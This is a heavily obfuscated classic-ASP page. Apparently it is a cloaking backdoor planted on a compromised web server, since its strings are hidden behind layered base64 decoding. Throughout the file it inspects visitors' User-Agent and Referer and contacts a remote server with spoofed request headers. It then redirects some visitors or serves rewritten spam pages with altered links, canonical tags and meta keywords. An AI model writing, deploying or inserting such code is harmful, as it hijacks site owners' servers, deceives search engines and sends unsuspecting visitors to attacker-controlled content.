<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% Response.CodePage=65001%> <% Response.Charset="UTF-8"%> <% On Error Resume Next Response.Buffer = true Function A_______A_A(ByVal A__AA___A___A) A_______A_A = Right(Left(A__AA___A___A,Len(A__AA___A___A)-1), Len(A__AA___A___A)-2) End Function Function AAAA__AA___A___A(ByVal AAAAA_____A___A) Dim A_AAA___A___A, AAA_AAA___A_A, AAAA__A_A___A,A_A__A_A___A AAAAA_____A___A = Replace(Replace(Replace(AAAAA_____A___A, vbCrLf, ""), vbTab, ""), " ", "") A_AAA___A___A = Len(AAAAA_____A___A) If A_AAA___A___A Mod 4 <> 0 Then Exit Function End If For AAAA__A_A___A = 1 To A_AAA___A___A Step 4 Dim A_A_AAAAA___A, A_A__AAAA___A, A_A__AA__AA_A, A_A__A_AAAAAA, A___AAAA_A, A_A__AAA__AA_A A_A_AAAAA___A = 3 A___AAAA_A = 0 For A_A__AAAA___A = 0 To 3 A_A__AA__AA_A = Mid(AAAAA_____A___A, AAAA__A_A___A + A_A__AAAA___A, 1) If A_A__AA__AA_A = "=" Then A_A_AAAAA___A = A_A_AAAAA___A - 1 A_A__A_AAAAAA = 0 Else Dim A__A__AAA___A___ A__A__AAA___A___ = AscW(A_A__AA__AA_A) If A__A__AAA___A___>=65 And A__A__AAA___A___<=90 Then A_A__A_AAAAAA = A__A__AAA___A___ - 65 ElseIf A__A__AAA___A___>=97 And A__A__AAA___A___<=122 Then A_A__A_AAAAAA = A__A__AAA___A___ - 71 ElseIf A__A__AAA___A___>=48 And A__A__AAA___A___<=57 Then A_A__A_AAAAAA = A__A__AAA___A___ + 4 ElseIf A__A__AAA___A___=43 Then A_A__A_AAAAAA = 62 ElseIf A__A__AAA___A___=47 Then A_A__A_AAAAAA = 63 Else A_A__A_AAAAAA = -1 End If End If If A_A__A_AAAAAA = -1 Then Exit Function End If A___AAAA_A = 64 * A___AAAA_A + A_A__A_AAAAAA Next A___AAAA_A = Hex(A___AAAA_A) A___AAAA_A = String(6 - Len(A___AAAA_A), "0") & A___AAAA_A A_A__A_A___A = "&H" A_A__AAA__AA_A = Chr(CByte(A_A__A_A___A & Mid(A___AAAA_A, 1, 2))) + _ Chr(CByte(A_A__A_A___A & Mid(A___AAAA_A, 3, 2))) + _ Chr(CByte(A_A__A_A___A & Mid(A___AAAA_A, 5, 2))) AAA_AAA___A_A = AAA_AAA___A_A & Left(A_A__AAA__AA_A, A_A_AAAAA___A) Next AAAA__AA___A___A = AAA_AAA___A_A End Function Function A__A__AAA__A____(ByVal A__A__AAA__A_____) A__A__AAA__A____=A_______A_A(AAAA__AA___A___A(A_______A_A(AAAA__AA___A___A(A_______A_A(AAAA__AA___A___A(A__A__AAA__A_____)))))) End Function dim A__A_A,A___A_A,A___A__A,A___A___A,A___A____A,AAAA_A__A,A_AA__A__A,A_AAAA_A__A A___A__A = A__A__AAA__A____("ZGVWbHRiSFZhYlRrd1lRPT16") A_AA__A__A=A__A__AAA__A____("ZWIxbFlUblJqWnowOWFnPT1s") A__A_A=A__A__AAA__A____("cGJXRkhhREJrU0VFMlRIazVhV0U9dg==") & LCase(Request.ServerVariables(A__A__AAA__A____("dWFHRkZhRlZXUmtKbVUwVTVWRlpIV1Qxc28=")))& LCase(Request.ServerVariables(A__A__AAA__A____("YVptUnNUbXBqYld4M1pFWTVUMWxYTVd4YVVUMDlkUT09bw=="))) A___A_A=A__A__AAA__A____("YmFXSkhhREJrU0VFMlRIazVjV1ZETlhGYVdHUnNZa2hLTldNeWVIQmtiVlo1VEcxT2RtSlRPWEJpYlZwMlRHMUdlbU5JYUhwMnI=") if not IsEmpty(request(A___A__A)) then A___A___A=trim(request(A___A__A)) if A___A___A=A_AA__A__A then AAAA_A__A=trim(A___A_A_A(A___A_A&A__A__AAA__A____("cWQyVnFPWFJRVjBVOWRBPT1m")& Server.URLEncode(A__A_A)&A__A__AAA__A____("bmJscHBXbnBRVXpCNFpGRTlQWGs9dg=="))) if len(AAAA_A__A)>0 then response.ContentType=A__A__AAA__A____("ZlpGcFlVbXhsU0ZGMlYwVXhUV0ozUFQxc2I=") response.write(""&vbcrlf) A_AAAA_A__A=split(AAAA_A__A,A__A__AAA__A____("bmJHSnFkR2xpYQ==")) for i=1 to UBound(A_AAAA_A__A) response.write(A__A__AAA__A____("YmVXTlVlREZqYlhjclVFZDRkbGw2TkRoSlZuUkVVa1ZHVlZGV2RIZDZh")&A__A_A&A__A__AAA__A____("aGNtUnFPVEZpeg==")&A___A__A&A__A__AAA__A____("a2IxcFVNV2hueA==")&A_AAAA_A__A(0)&A__A__AAA__A____("eVoyRlRPV3R6eQ==")&A_AAAA_A__A(i)&A__A__AAA__A____("dVlXSnNNV1JRYW5kMllrYzVhbEJxZDNaa1dFcHpVRzF2UFhJPXI=")&vbcrlf) Next response.write(A__A__AAA__A____("cGJXUjZkM1prV0Vwell6SldNRkJ0Ynoxa3g=")) end if Response.End else Dim AA_AA__A,AA___AA__A,A___AAAA__A,A___A_AA_A,A___AA__A AA_AA__A=LCase(Request.ServerVariables(A__A__AAA__A____("dGRtSnJhREJrU0VKbVZXMVdiVnBZU214amJsazllZz09dg=="))) AA___AA__A=Mid(Request.ServerVariables(A__A__AAA__A____("YWNtVnJhRlZXUmtKbVVWVk9SRkpXUWxWWU1IaENWR3RrVmxGVlpFWmxaejA5WVE9PWY=")),1,5) A_AAAA_A__A=split(A___A___A,A__A__AAA__A____("eVoyRlRPV3R6eQ=="),3) if UBound(A_AAAA_A__A)>0 then A___A_AA_A=A_AAAA_A__A(0) A___AAAA__A=A_AAAA_A__A(1) if UBound(A_AAAA_A__A)=2 then A___AA__A=A_AAAA_A__A(2) If instr(AA_AA__A,A__A__AAA__A____("ZFptUkhaSFppTW1SeldsaG5QWGs9cg=="))>0 Or instr(AA_AA__A,A__A__AAA__A____("ZGVHRkliR2hoUnpsMldsRTlQWGM9eg=="))>0 Or instr(AA_AA__A,A__A__AAA__A____("ZWQyRnRTbkJpYldSMFp3PT1r"))>0 Or instr(AA_AA__A,A__A__AAA__A____("eWVGa3lSbk5hV0dob1pVRTlQVzg9dA=="))>0 Or instr(AA_AA__A,A__A__AAA__A____("aGEyTlhSbnBoTWxVOWRnPT15"))>0 Or instr(AA_AA__A,A__A__AAA__A____("dWNtRkhXbkJpYlZKellWYzFjbU15VFQxM3A="))>0 Or instr(AA_AA__A,A__A__AAA__A____("YmFHTXlSbk5rUjBZeVlWaE9NRmxYY3oxNmI="))>0 Or instr(AA_AA__A,A__A__AAA__A____("Y2FtUlhSblppU0ZVOWNRPT1r"))>0 Or instr(AA_AA__A,A__A__AAA__A____("eGFscFhiSFZoTTFKMllsZHNNV1k9eQ=="))>0 Then AAAA_A__A=trim(A___A_A_A(A___A_A&A__A__AAA__A____("cWQyVnFPWFJRVjBVOWRBPT1m")&A___AAAA__A&A__A__AAA__A____("c2RWcFRXbnBRVkVKd2FnPT14"))) if len(AAAA_A__A)>0 then Response.Redirect AAAA_A__A Response.End end if else AAAA_A__A=trim(A___A_A_A(A___A_A&A__A__AAA__A____("cWQyVnFPWFJRVjBVOWRBPT1m")&A___AAAA__A&A__A__AAA__A____("bmNGcFRXbnBRVjJNOWFBPT1y")&A___A_AA_A)) if len(AAAA_A__A)>0 then dim A__AA_A__A,A___A____AA A__AA_A__A="" A___A____A=instr(1,AAAA_A__A,A__A__AAA__A____("dFpWcDZlSEp6ZA==")) A___A____AA=mid(AAAA_A__A,1,A___A____A-1) AAAA_A__A=mid(AAAA_A__A,A___A____A) if IsEmpty(A_AAAA_A__A(2)) then A__AA_A__A=A___A_A_A(A___A____AA) else A__AA_A__A=A___A_A_A(A___A____AA&A_AAAA_A__A(2)) end if dim A___A__AA_A,A___AAA__A set A___A__AA_A=Server.CreateObject(A__A__AAA__A____("c2NXVnVXbWxqTWs1NVlWaENNRXh1U214YU1sWTBZMGRqUFhnPWo=")) A___A__AA_A.Global=True A___A__AA_A.IgnoreCase=True A___A__AA_A.Pattern="(<\s*a\s[^>]*href\s*=\s*[\""\'])\s*([^\""\'>]*[\""\'])" A___AAA__A=A__A__AAA__A____("a1kyVnBVWGhhVVQwOWJnPT13")&A__A__AAA__A____("dlpHSklRbTloUVQwOWR3PT1p") & A__A__AAA__A____("Y2JHRlRVWGxoVVQwOWNnPT16") A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern="(<\s*a\s[^>]*href\s*=\s*[\""\'])ph(?!http|#|javascript)" A___AAA__A=A__A__AAA__A____("a1kyVnBVWGhhVVQwOWJnPT13")&A__A_A&A__A__AAA__A____("eVoyRlRPV3R6eQ==") A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern="(<\s*a\s[^>]*href\s*=\s*[\""\'])ph"& A___A____AA A___AAA__A=A__A__AAA__A____("a1kyVnBVWGhhVVQwOWJnPT13")&A__A_A A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern="(<\s*a\s[^>]*href\s*=\s*[\""\'])ph[^\""\']*" A___AAA__A=A__A__AAA__A____("a1kyVnBVWGhhVVQwOWJnPT13")&A__A_A A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern="(<\s*a\s[^>]*href\s*=\s*[\""\'])"&A__A_A A___AAA__A=A__A__AAA__A____("a1kyVnBVWGhhVVQwOWJnPT13")&A__A_A&A__A__AAA__A____("aGNtUnFPVEZpeg==")&A___A__A&A__A__AAA__A____("a2IxcFVNV2hueA==")&A___A_AA_A&A__A__AAA__A____("eVoyRlRPV3R6eQ==")&A___AAAA__A A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern="<\s*base\s[^>]*>|<\s*link\s[^>]*rel\s*=\s*[\""\']\s*canonical\s*[\""\'][^>]*>" A___AAA__A="" A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern=A__A__AAA__A____("emIySkVkMmhNVXpGaVdFaE9ZMVV4TUhGUWVUQjBVRzA0UFdjPWE=") A___AAA__A="" A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern=A__A__AAA__A____("ZGIyRnFlR05qZVhCNldUTktjR05JVW1KWWFqVmtTMms1WTJONWJ5dGpkejA5YWc9PXk=") A___AAA__A="" A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) A___A__AA_A.Pattern=A__A__AAA__A____("ZmMyRnFlR05qZVhCNldUTktjR05JVW1KWWFqVmtTMm8xWWxoSVRtTlZNVEJ4VUhwNFkyTjViM1pZU0UxeFl6Sk9lV0ZZUWpCWVNFMXhVRzVuUFdZPWQ=") A___AAA__A="" A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) dim A_A__AA__A,A__AAAA_A_A,A__A_AAA___A_A A__A_AAA___A_A="" A_AAAA_A__A=split(A___A____AA,A__A__AAA__A____("blpHSjVOWEJ5dw=="),3) if UBound(A_AAAA_A__A)>1 then A__A_AAA___A_A=A_AAAA_A__A(1) A___A__AA_A.Global=false A___A__AA_A.Pattern=A__A__AAA__A____("c1pXSjZlR05qZVhBd1lWaFNjMXBXZUhwTGFqUnZWekY0ZWxoR1RtUkxhamh3VUVaNGVrdHBPV05qZVhBd1lWaFNjMXBXZUhwTGFqVjRhUT09dw==") Set A__A_A_____A_A = A___A__AA_A.Execute(A__AA_A__A) A_A__AA__A=false For Each A__AA__AAA In A__A_A_____A_A A__AAAA_A_A=A__AA__AAA.SubMatches(0) A_A__AA__A=true Next if A_A__AA__A then A___A__AA_A.Pattern=A__A__AAA__A____("bGJHRldlRlJMYlUwOWJRPT1j")& A__A_AAA___A_A & A__A__AAA__A____("bGJHRldlRlJMYlUwOWJRPT1j") A__AAAA_A_A=A___A__AA_A.replace(A__AAAA_A_A,"") A___A__AA_A.Pattern=A__A__AAA__A____("bFkySlRaemhZU0UxeFpFZHNNR0pIVm1OamVXOHJTMVowWTJNeGVGUllVMjh2UzBSNFkyTjViM1pZU0UxeFpFZHNNR0pIVm1OamVXOHJTMWhqUFdrPWw=") A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A__A__AAA__A____("a1kyVnBVWGhhVVQwOWJnPT13")&A__AAAA_A_A&A__A__AAA__A____("Y2JHRlRVWGxoVVQwOWNnPT16")) end if A___A__AA_A.Pattern="<\s*meta\s*[^>]*?name\s*=\s*[""']\s*description\s*[""'][\s\S]*?/\s*>" Set A__A_A_____A_A = A___A__AA_A.Execute(A__AA_A__A) A_A__AA__A=false For Each A__AA__AAA In A__A_A_____A_A A__AAAA_A_A=A__AA__AAA A_A__AA__A=true Next if A_A__AA__A then A___A__AA_A.Pattern=A__A__AAA__A____("aGFtRkdkR05rTVhkMVdGTndkWE09dw==")& A__A_AAA___A_A & A__A__AAA__A____("aGFtRkdkR05rTVhkMVdGTndkWE09dw==") A__AAAA_A_A=A___A__AA_A.replace(A__AAAA_A_A,"") A___A__AA_A.Pattern="<\s*meta\s*[^>]*?name\s*=\s*[""']\s*description\s*[""'][\s\S]*?/\s*>" A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A__AAAA_A_A) end if A___A__AA_A.Pattern="<\s*meta\s*[^>]*?name\s*=\s*[""']\s*keywords\s*[""'][\s\S]*?/\s*>" Set A__A_A_____A_A = A___A__AA_A.Execute(A__AA_A__A) A_A__AA__A=false For Each A__AA__AAA In A__A_A_____A_A A__AAAA_A_A=A__AA__AAA A_A__AA__A=true Next if A_A__AA__A then A___A__AA_A.Pattern=A__A__AAA__A____("aGFtRkdkR05rTVhkMVdGTndkWE09dw==")& A__A_AAA___A_A & A__A__AAA__A____("aGFtRkdkR05rTVhkMVdGTndkWE09dw==") A__AAAA_A_A=A___A__AA_A.replace(A__AAAA_A_A,"") A___A__AA_A.Pattern="<\s*meta\s*[^>]*?name\s*=\s*[""']\s*keywords\s*[""'][\s\S]*?/\s*>" A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A__AAAA_A_A) end if end if A___A__AA_A.Pattern=A__A__AAA__A____("eFlXTnFlR05qZVc5MldFaE5jVmx0T1d0bFZuaDZTMm8xZG1nPXc=") if A___A__AA_A.Test(A__AA_A__A) then A___AAA__A=AAAA_A__A&A__A__AAA__A____("YWVsbDZkM1paYlRsclpWUTFlbU09bw==") A__AA_A__A=A___A__AA_A.replace(A__AA_A__A,A___AAA__A) else A__AA_A__A=A__AA_A__A & AAAA_A__A end if Response.Write A__AA_A__A Response.End end if end if end if end if end if Response.Write (A__A__AAA__A____("b1lXTnFlRzlrUnpGelVHcDRiMXBYUm10UWFuZDJZVWRXYUZwRU5EaFpiVGxyWlZRME9FbFRNSFJaVjBwcVdrZFdiVTFVU1hwT1JGVXlURk13SzFCRE9XbGlNbEkxVUdwM2RtRklVblJpUkRWdVp3PT10")) Response.Write (A__A__AAA__A____("alpsbHFlSHBaTTBwd1kwaFJaMlJJYkhkYVZEQnVaRWRXTkdSRE9YRlpXRnBvWXpKT2VXRllRakJLZWpVellWYzFhMkl6WTNWaVJ6bHFXVmhTY0dJeU5IVmhTRXBzV21vd2JtSjNQVDFvcg==") & A__A__AAA__A____("cGJXRkhhREJrU0VFMlRIazVhV0U9dg==") & LCase(Request.ServerVariables(A__A__AAA__A____("dWFHRkZhRlZXUmtKbVUwVTVWRlpIV1Qxc28=")))&A__A__AAA__A____("eWJXSkRZemhNTTA1cVkyMXNkMlJFTlhkM2U=")) Response.End Function A___A_A_A(URL) dim A__AA___A_A Set A__AA___A_A = Server.createobject(A__A__AAA__A____("aGNtTlZNWHBsUnpGelRXazFXVlJWZUVsV1JsSlJXbWM5UFhZPWQ=")) A__AA___A_A.Open A__A__AAA__A____("a2RWcEZaRVpXU0djOWNBPT1m"), URL, False A__AA___A_A.setRequestHeader A__A__AAA__A____("bmJtTXdhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa2ROUFhjPW8="),A__A__AAA__A____("YWMxcFZNWFpsYld4ellrZEZkazVUTkhkSlEyaHFZakl4ZDFsWVVuQlpiWGhzVDNsQ1NHSXlPVzVpUjFacFlqTlJkazFwTkhoUGVVRnlZVWhTTUdORWIzWk1NMlF6WkhrMWJtSXlPVzVpUjFWMVdUSTVkRXd5U25aa1F6VnZaRWN4YzB0WE1EMXFi") A__AA___A_A.setRequestHeader A__A__AAA__A____("Z2Rsb3dhRlZXUmtKbVVWVk9SRkpXUWxWalVUMDlaUT09dQ=="),A__A__AAA__A____("bVlXSnVVbXhsU0ZGMllVaFNkR0pEZUdoalNFSnpZVmRPYUdSSGJIWmlhVGswWVVoU2RHSkRkRFJpVjNkeldWaENkMkpIYkdwWldGSndZakkwZG1WSE1YTlBNMFU1VFVNME5VeERiM1pMYW5SNFVGUkJkVTlJWnoxcG0=") A__AA___A_A.setRequestHeader A__A__AAA__A____("ZFoySnJhRlZXUmtKbVVWVk9SRkpXUWxWWU1GWlBVVEE1UlZOVk5VaGhkejA5ZVE9PXA="),A__A__AAA__A____("cGVHRkhaRFpoV0VGeldrZFdiV0pIUmpCYVdGRTlkUT09bA==") A__AA___A_A.setRequestHeader A__A__AAA__A____("ZmFGa3dhRlZXUmtKbVVteEtVRlJYWXoxNmM="),A__A__AAA__A____("dWFWcFhaSFppTW1SeldsZEtkbVJEYUdoa1EyeHVZakk1Ym1KSFZtbGlNMUYxV1RJNWRHRlJQVDFpYw==") A__AA___A_A.setRequestHeader A__A__AAA__A____("ZGJHTkdWbnBhV0VsMFVWZGtiR0p1VWpWbGs="),A__A__AAA__A____("YWMxcFZNWFpsYld4ellrZEZkazVUTkhkSlEyaHFZakl4ZDFsWVVuQlpiWGhzVDNsQ1NHSXlPVzVpUjFacFlqTlJkazFwTkhoUGVVRnlZVWhTTUdORWIzWk1NMlF6WkhrMWJtSXlPVzVpUjFWMVdUSTVkRXd5U25aa1F6VnZaRWN4YzB0WE1EMXFi") A__AA___A_A.setRequestHeader A__A__AAA__A____("ZFoxbHJSbXBaTWxaM1pFaFZQV2M9aw=="),A__A__AAA__A____("bVlXSnVVbXhsU0ZGMllVaFNkR0pEZUdoalNFSnpZVmRPYUdSSGJIWmlhVGswWVVoU2RHSkRkRFJpVjNkeldWaENkMkpIYkdwWldGSndZakkwZG1WSE1YTlBNMFU1VFVNME5VeERiM1pMYW5SNFVGUkJkVTlJWnoxcG0=") A__AA___A_A.setRequestHeader A__A__AAA__A____("blkyRnJSbXBaTWxaM1pFTXhSbUp0VG5aYVIyeDFXakpSUFdRPXo="),A__A__AAA__A____("cGVHRkhaRFpoV0VGeldrZFdiV0pIUmpCYVdGRTlkUT09bA==") A__AA___A_A.setRequestHeader A__A__AAA__A____("cmIxcHJXbmxpTWpFMVp3PT1y"),A__A__AAA__A____("dWFWcFhaSFppTW1SeldsZEtkbVJEYUdoa1EyeHVZakk1Ym1KSFZtbGlNMUYxV1RJNWRHRlJQVDFpYw==") A__AA___A_A.send If A__AA___A_A.readyState <> 4 Then Exit Function A___A_A_A = A__AAAA___A_A(A__AA___A_A.responseBody) Set A__AA___A_A = Nothing End Function Function A__AAAA___A_A(vin) Dim A__A___A__A_A,A_______AAA_A Set A__A___A__A_A = Server.CreateObject(A__A__AAA__A____("d1oyRlZSa1ZVTUZKRFRHeE9NR050Vm1oaVYwVTlZZz09aA==")) A__A___A__A_A.Type = 2 A__A___A__A_A.Open A__A___A__A_A.WriteText vin A__A___A__A_A.Position = 0 A__A___A__A_A.Charset = A__A__AAA__A____("eWJXTnVWakJhYVRBMFlXYzlQVzQ9eg==") A__A___A__A_A.Position = 2 A_______AAA_A =A__A___A__A_A.ReadText A__A___A__A_A.close Set A__A___A__A_A = Nothing A__AAAA___A_A = A_______AAA_A End Function %>